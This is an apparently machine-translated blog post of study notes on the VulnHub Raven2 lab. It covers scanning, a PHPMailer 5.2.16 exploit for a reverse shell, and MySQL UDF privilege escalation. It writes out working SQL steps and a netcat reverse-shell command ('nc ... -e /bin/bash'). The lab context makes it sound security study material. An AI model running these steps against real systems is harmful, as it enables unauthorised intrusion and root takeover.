当前位置:网站首页>Raven2 of vulnhub
Raven2 of vulnhub
2022-07-03 11:47:00 【Plum_ Flowers_ seven】
Only take personal study notes
Catalog
3、 ... and 、 Service version detection
1. Always requesting resources
7、 ... and 、mysql And udf Raise the right
One 、 The host found

Two 、 Port scanning

3、 ... and 、 Service version detection
routine 22,80 port .
111 This is an incomprehensible
42689 Open the remote process call protocol

Four 、 information gathering
1. Always requesting resources
It is the same as the original request for some foreign site resources , As a result, it cannot be loaded normally , Just hang a ladder . If you use burp, Just hang it on two floors .
It's a security company interface

2. Regular source code
Look at the interface , Source code leakage , Is there a hidden directory , None .
5、 ... and 、 Scan directory
The most basic information is wordpress Station building

1. /vendor
3,4,5 All the documents mentioned PHPMailer,readme It's a readme , It introduces phpmailer It's a php Mail transmission class ,. and security He mentioned his historical loopholes .changelog Tell the change log .
Try from phpmailer Make a breakthrough

(1)flag1

6、 ... and 、phpmailer
Because we can know from the above file that the version is 5.2.16, So try these .
1.40974.py
40974.py It can be used . Write bounce to target path shell file .

Be careful : You need to change the contents of the file before using
(1) Change back to the connection address
(2) Write the backdoor file path
(3) The goal is ip
You can also change the file name

2. Access trigger
3. rebound shell
7、 ... and 、mysql And udf Raise the right
When we collect information , It is found that there is leakage mysql Account and password ,
When checking the process , And found out mysql In order to root It belongs to the main operation , So we can use mysql Right to come ,
1. information gathering
root [email protected]

2.udf Raise the right
udf The original intention of the design is to facilitate users to customize some functions , It is convenient to query some complex data , At the same time, the use of udf The possibility of raising rights .
An attacker calls... By writing cmd perhaps shell Of udf.dll file , And import it into a specified folder Directory , Create a point to udf.dll The custom function of , Thus, the query in the database is equivalent to cmd perhaps shell Middle execution command .
3. step
(1) find kali Self contained udf Lift the right link library file .so

(2)64.so To the target plane
It's better to put /tmp Next
(3) Check the plug-in path
show variables like '%plugin%';
(4) Write to the database through the link library file
Using the system database , Create a table , Write link library file data .
use mysql;
create table a(line blob);
insert into a values(load_file('/tmp/x.so'));
(5) Then write the link library file to the plug-in location
select * from a into dumpfile '/usr/lib/mysql/plugin/x.so';
(6) Create a new function
create function sys_exec returns integer soname 'x.so';
(7) Execute bounce shell
select sys_exec('nc 192.168.0.107 6666 -e /bin/bash');

边栏推荐
- 如何将数字字符串转换为整数
- Internet socket (non) blocking write/read n bytes
- Kubernetes 三打探针及探针方式
- Yintai department store ignites the city's "night economy"
- . \vmware-vdiskmanager. exe -k “c:\\xxxxx.vmdk”
- 836. 合并集合(DAY 63)并查集
- 《剑指offer 04》二维数组查找
- Cadence background color setting
- Solicitation for JGG special issue: spatio-temporal omics
- 优化接口性能
猜你喜欢

Kibana - installation and configuration of kibana

量化计算调研

Event preview | the live broadcast industry "rolled in" to drive new data growth points with product power

(数据库提权——Redis)Redis未授权访问漏洞总结

2022年湖南工学院ACM集训第二次周测题解

2022 northeast four provinces match VP record / supplementary questions

The world's most popular font editor FontCreator tool

This article explains the complex relationship between MCU, arm, MCU, DSP, FPGA and embedded system

Numpy np. Max and np Maximum implements the relu function

Kubernetes 三打探针及探针方式
随机推荐
《剑指offer 04》二维数组查找
STL tutorial 8-map
vulnhub之GeminiInc
STL教程8-map
一文搞懂Go语言Context
R语言使用data.table包进行数据聚合统计计算滑动窗口统计值(Window Statistics)、计算滑动分组中位数(median)并合并生成的统计数据到原数据集中
Unity3D学习笔记5——创建子Mesh
Notes on 32-96 questions of sword finger offer
并发编程-单例
After setting up ADG, instance 2 cannot start ora-29760: instance_ number parameter not specified
MySQL searches and sorts out common methods according to time
vulnhub之raven2
一些常用术语
银泰百货点燃城市“夜经济”
Using onvif protocol to operate the device
repo ~ 常用命令
C language utf8toutf16 (UTF-8 characters are converted to hexadecimal encoding)
小鹏 P7 撞护栏安全气囊未弹出,官方回应称撞击力度未达到弹出要求
previous permutation lintcode51
鸿蒙第四次培训